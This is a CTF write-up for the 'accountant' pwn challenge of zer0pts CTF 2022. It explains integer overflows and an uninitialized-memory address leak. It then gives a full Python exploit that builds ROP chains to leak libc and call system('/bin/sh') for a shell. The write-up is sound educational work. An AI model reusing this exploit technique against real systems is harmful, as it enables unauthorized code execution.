# accountant - zer0pts CTF 2022 ###### tags: `zer0pts CTF 2022` `pwn` Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9 ## Overview ELF x86-64 with full security: ``` $ checksec chall Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled ``` ## Bug You can find an obvious integer overflow in the `main` function. We can make `n` very big while the size of `items` is small because of this bug. ```c #define safe_alloca(N) ((N) < 4032 ? alloca (N) : NULL) ... if ((items = safe_alloca(n * sizeof(Item))) == NULL) { use_malloc = 1; if ((items = calloc(n, sizeof(Item))) == NULL) { puts("Memory Error\n"); return 1; } } ``` There is another integer overflow. The type of `n` is `ssize_t` in `main` but it's reduced to `int` during passing the value as an argument for `input_all_data`. ```c void input_all_data(Item *items, int n) { for (int i = 0; i < n; i++) { input_data(items, i); } } ... input_all_data(items, n); ``` This integer overflow happens in `calc_total` too. ```c int64_t calc_total(Item *items, int n) { int64_t total = 0; int i = n - 1; do { total += items[i].price * items[i].quantity; } while(i-- > 0); return total; } ... printf("Total: $%ld\n", calc_total(items, n)); ``` ## RIP control We can modify some values in `items` after calculating the sum. By the first integer overflow, `n` is very big but `items` is small. So, we can overwrite the return address of `main` and inject ROP chain without corrupting the stack canary here. ```c input_all_data(items, n); printf("Total: $%ld\n", calc_total(items, n)); if (get_value("Would you like to fix data? [1=Yes] ") == 1) { while (1) { off_t i = get_value("Index to modify (-1 to quit): "); if (i < 0 || i >= n) break; else input_data(items, i); } printf("Total: $%ld\n", calc_total(items, n)); } ``` ## Address Leak The hardest part of this challenge is address leak. We have one chance to leak a value before injecting the ROP chain. ```c input_all_data(items, n); printf("Total: $%ld\n", calc_total(items, n)); ``` Can we take advantage of this `printf` to leak the address? Let's check the second integer overflow again: ```c void input_data(Item *items, int i) { printf("Item %d:\n", i+1); items[i].price = get_value(" Price: $"); items[i].quantity = get_value(" Quantity: "); } void input_all_data(Item *items, int n) { for (int i = 0; i < n; i++) { input_data(items, i); } } int64_t calc_total(Item *items, int n) { int64_t total = 0; int i = n - 1; do { total += items[i].price * items[i].quantity; } while(i-- > 0); return total; } ``` Remember `n` in these functions can be very small because of the integer overflow. Also, you'll notice the loop in `calc_total` runs at least one time while the loop in `input_all_data` does not. If we set `(int)n` to be zero, the loop in `input_all_data` will be skipped but `calc_total` adds the first item to the sum. Because `input_all_data` is skipped, the value in `items` is still uninitialized. You'll find this uninitialized buffer contains a pointer to the process. So, we can leak the following value: $(\mathrm{address} \mod 2^{32}) \times (\mathrm{address} \mathrm{>>} 32)$ Because the upper 32-bit of the process address is between 0x5500 and 0x5700, we can hopefully solve this equation by a small brute-force. ## Exploit ``` $ sage --python pip install ptrlib $ sage exploit.py ``` ```python= import os from sage.all import * from ptrlib import * HOST = os.getenv("HOST", "localhost") PORT = os.getenv("PORT", "9001") libc = ELF("../distfiles/libc-2.31.so") elf = ELF("../distfiles/chall") sock = Socket(HOST, int(PORT)) """ Step 1. Address leak """ n = (1<<64) // 8 sock.sendlineafter(": ", str(n)) t = int(sock.recvlineafter("$")) # y * x = t mod 2^32, where y \in (0x5500, 0x5700) and x = ??? mod 2^12 x = var('x') proc_base = None for y in range(0x5500, 0x5700): candidates = solve_mod(y * x == t, 2**32) for lower in candidates: if int(lower[0]) & 0xfff == 0xb6c: proc_base = (y << 32) | int(lower[0]) - 0xb6c break if proc_base is not None: break logger.info("proc = " + hex(proc_base)) rop_pop_rdi = proc_base + 0x00000d53 """ Step 2. ROP to leak libc address """ sock.sendlineafter("]", "1") chain = [ rop_pop_rdi, proc_base + elf.got('puts'), proc_base + elf.plt('puts'), proc_base + elf.symbol('main'), ] ofs = 11 for qword in chain: sock.sendlineafter(": ", str(ofs)) sock.sendlineafter("$", str(qword & 0xffffffff)) sock.sendlineafter(": ", str(qword >> 32)) ofs += 1 sock.sendlineafter(": ", "-1") sock.recvline() sock.recvline() libc_base = u64(sock.recvline()) - libc.symbol('puts') logger.info("libc = " + hex(libc_base)) """ Step 3. ROP to win """ sock.sendlineafter(": ", str(n)) sock.sendlineafter("]", "1") chain = [ rop_pop_rdi + 1, rop_pop_rdi, libc_base + next(libc.find('/bin/sh')), libc_base + libc.symbol('system') ] ofs = 11 for qword in chain: sock.sendlineafter(": ", str(ofs)) sock.sendlineafter("$", str(qword & 0xffffffff)) sock.sendlineafter(": ", str(qword >> 32)) ofs += 1 sock.sendlineafter(": ", "-1") sock.interactive() ```